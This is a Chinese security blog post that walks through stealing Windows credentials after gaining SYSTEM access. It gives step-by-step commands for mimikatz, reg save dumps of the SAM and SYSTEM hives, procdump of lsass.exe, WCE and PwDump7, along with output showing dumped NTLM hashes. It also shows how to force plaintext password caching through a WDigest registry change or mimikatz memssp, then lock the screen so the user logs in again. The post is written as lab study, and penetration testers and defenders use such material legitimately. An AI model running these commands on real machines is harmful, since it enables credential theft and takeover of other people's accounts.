• Windows密码凭证获取学习


    img

    本文首发乌鸦安全知识星球!

    公众号:乌鸦安全

    更新时间:2022.08.04

    1. 说明

    本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。

    https://www.secrss.com/articles/24903
    https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
    https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
    https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
    https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
    https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
    https://zhuanlan.zhihu.com/p/57800688
    https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
    https://xz.aliyun.com/t/10734#toc-2
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    2. Windows获取凭证或密码

    一般来说,在我们获取到Windowssystem权限之后,一般都喜欢去看下密码,哪怕是hash,也想尝试去解一下,Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。
    关于NTLM的知识,在这里就不在展开了,有兴趣的可以去搜下。

    3. 环境准备

    本次环境共准备了Windows server2003Windows7Windows10Windows server2012,按照他们的特点,有针对的进行实操获取。
    本文默认已获取system权限的情况下进行操作。

    4. 获取密码或hash方法

    4.1 ** Mimikatz**

    这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀。
    原版工具:https://github.com/gentilkiwi/mimikatz
    image.png
    使用方法:

    privilege::debug 
    提升权限,返回Privilege '20' OK。说明权限提升成功
    sekurlsa::logonpasswords
    可以读取到NTLM哈希值
    
    • 1
    • 2
    • 3
    • 4

    4.1.1 server2003

    systeminfo查看当前的电脑是32位的,所以在这里就使用32位的来试下:
    image.png

    执行命令之后可以直接获取到明文:

    privilege::debug 
    sekurlsa::logonpasswords
    
    • 1
    • 2

    image.png

    4.1.2 windows10

    在这里先关闭Windows10Windows defender,在这里并不对其进行免杀研究,直接使用x64位的之后,来获取hash
    image.png

    执行命令之后只能够获取hash,不能够直接获取明文:

    image.png

    209c6174da490caeb422f3fa5a7ae634
    
    • 1

    可以通过第三方的方式来获取密码:
    image.png

    当然,mimikatz也可以使用非交互的方式来获取hash

    mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
    
    • 1

    image.png

    image.png

    4.2 注册表导出hash

    有时候,因为某些问题,导致无法直接获取hash,所以在这里还可以使用注册表导出hash的方式来进行,具体的步骤如下:
    在靶机上使用以下命令(需要system权限):

    靶机上执行:
    reg save HKLM\SYSTEM system.hiv
    
    reg save HKLM\SAM sam.hiv
    
    reg save hklm\security security.hiv
    
    
    在本地使用mimikatz执行:
    mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    4.2.1 server2003

    打开cmd执行命令,导出system.hivsam.hivsecurity.hiv文件:

    reg save HKLM\SYSTEM system.hiv
    reg save HKLM\SAM sam.hiv
    reg save hklm\security security.hiv
    
    • 1
    • 2
    • 3

    image.png

    最后使用mimikatz执行,在非靶标机器上,不需要system权限:

    mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
    
    • 1

    image.png

    RID  : 000001f4 (500)
    User : Administrator
      Hash LM  : f0d412bd764ffe81aad3b435b51404ee
      Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
    
    • 1
    • 2
    • 3
    • 4

    直接去查询即可。

    4.2.2 Windows10

    使用同样的方法导出之后再解密:
    image.png

    获取到hash信息:

    image.png

    User : admin
      Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
    
    • 1
    • 2

    4.3 pass64.exe

    这个文件是我早些时候渗透的时候获得的,在win78等低于Windows10的系统上(这种说法不严谨),使用system权限运行能够直接获取64位系统的账号和密码信息。
    这个工具应该是PwDump7工具的魔改版本。
    win10上因为无法获取账号密码报错:
    image.png

    win7环境下:
    image.png

    4.4 PwDump7

    https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
    image.png

    4.4.1 server2003

    可以在Windows2003上执行,手工将得到的结果保存在1.txt中:
    PwDump7.exe > 1.txt
    image.png

    Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
    Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
    SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
    IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
    IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
    ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
    test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    4.4.2 windows10

    image.png

    4.5 Procdump+Mimikatz

    ProcDump是一个命令行程序,可以将系统正在运行的进程转存储生成为dump文件,微软自己的工具,理论上来说不应该会被杀。
    它的原理是Procdump导出lsass.exe的转储文件,使用mimikatz读取器中的hash。
    如果对方机器是win10以下的,都可以获取明文密码。

    地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
    使用方法:
    dumplsass.exe

    32位:
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    64位:
    procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
    
    • 1
    • 2
    • 3
    • 4
    • 5

    mimikatz读取:

    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    
    • 1
    • 2

    4.5.1 server2003

    无法使用
    image.png

    4.5.2 Windows10

    执行命令:

    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    • 1

    image.png

    然后使用mimikatz读取:

    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    
    • 1
    • 2

    image.png

    4.6 WCE

    官网地址:
    https://www.ampliasecurity.com/research.html
    32位下载:
    https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
    64位下载:
    https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
    image.png

    参数解释:
    -l          列出登录的会话和NTLM凭据(默认值)
    -s               修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
    -r                不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
    -c               用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
    -e               不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
    -o               保存所有的输出到一个文件 参数:<文件名>
    -i                指定一个LUID代替使用当前登录会话 参数:<luid>
    -d               从登录会话中删除NTLM凭据 参数:<luid>
    -a               使用地址 参数: <地址>
    -f                强制使用安全模式
    -g               生成LM和NT的哈希 参数<密码>
    -K               缓存kerberos票据到一个文件(unix和windows wce格式)
    -k               从一个文件中读取kerberos票据并插入到windows缓存中
    -w              通过摘要式认证缓存一个明文的密码
    -v               详细输出
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    使用方法:wce.exe -l或者直接wce

    4.6.1 server2003

    image.png

    4.6.2 Windows10

    无法使用:
    image.png

    4.6.3 Windows7

    正常执行:
    image.png

    4.7 SqlDumper + mimikatz(失败)

    因为没有安装sqlserver,可能导致最后无法执行成功。
    可以从https://www.xiazaiba.com/html/35382.html下载工具(我在win10 defender下是默认无毒的)
    首先查看下当前lsass.exe的进程号:
    tasklist /svc |findstr lsass.exe

    image.png

    找到Sqldumper.exe的安装路径,使用管理员权限的cmd导出dump文件,使用方法:

    Sqldumper.exe ProcessID 0 0x01100
    
    • 1

    在这里使用就是:(失败
    image.png
    放一个成功的图:
    image.png

    3.mimikatz加载dump文件
    mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”
    image.png

    5. Windows获取明文密码

    在这里主要是获取Windows高版本的明文密码,因为在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
    本次环境Windows server2012,本文默认已获取system权限的情况下进行操作。
    而且本文不讨论抓取密码工具或方法的免杀方式。

    6. 获取明文密码方法

    6.1 修改注册表

    前提条件:

    • system权限
    • 需要锁屏后重新登录

    在这里依旧使用mimikatz进行密码的抓取,默认情况下是无法获取明文信息的:

    privilege::debug 
    提升权限,返回Privilege '20' OK。说明权限提升成功
    sekurlsa::logonpasswords
    可以读取到NTLM哈希值
    
    • 1
    • 2
    • 3
    • 4

    image.png

    使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    • 1

    image.png

    再使用命令锁屏:(这个命令可以使用用户权限来执行)
    image.png

    rundll32.exe user32.dll,LockWorkStation
    
    • 1

    接下来等待用户再次登录一次就可以抓到了:
    image.png

    如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)

    修改不记录明文密码
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    
    • 1
    • 2

    image.png
    再次重启下就可以了:(锁屏无效)

    privilege::debug 
    提升权限,返回Privilege '20' OK。说明权限提升成功
    sekurlsa::logonpasswords
    可以读取到NTLM哈希值
    
    • 1
    • 2
    • 3
    • 4

    image.png

    6.2 mimikatz插ssp记录密码

    需要的条件:

    • system权限
    • 锁屏并重新登入

    在这里使用mimikatz来实现:

    privilege::debug
    
    misc::memssp
    
    • 1
    • 2
    • 3

    image.png

    修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation
    然后在以下目录下发现明文密码:

    C:\Windows\System32\mimilsa.log
    
    • 1

    image.png

    7. 总结

    其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。

  • 相关阅读:
    C语言:指针笔试真题
    ADC驱动怎么应用以及中断顶半部和底半部
    100天精通Python(数据分析篇)——第66天:Pandas透视表基础+实战案例(pivot_table函数)
    migration 与navicat
    CVE-2021-3156 漏洞复现笔记
    C# 之 FileInfo API参考
    Kotlin高仿微信-第9篇-单聊-文本
    【Go 编程实践】从零到一:创建、测试并发布自己的 Go 库
    Java AOP Framework概述
    【PyTorch攻略(1/7)】 张量基本语法
  • 原文地址:https://blog.csdn.net/csdnmmd/article/details/126221638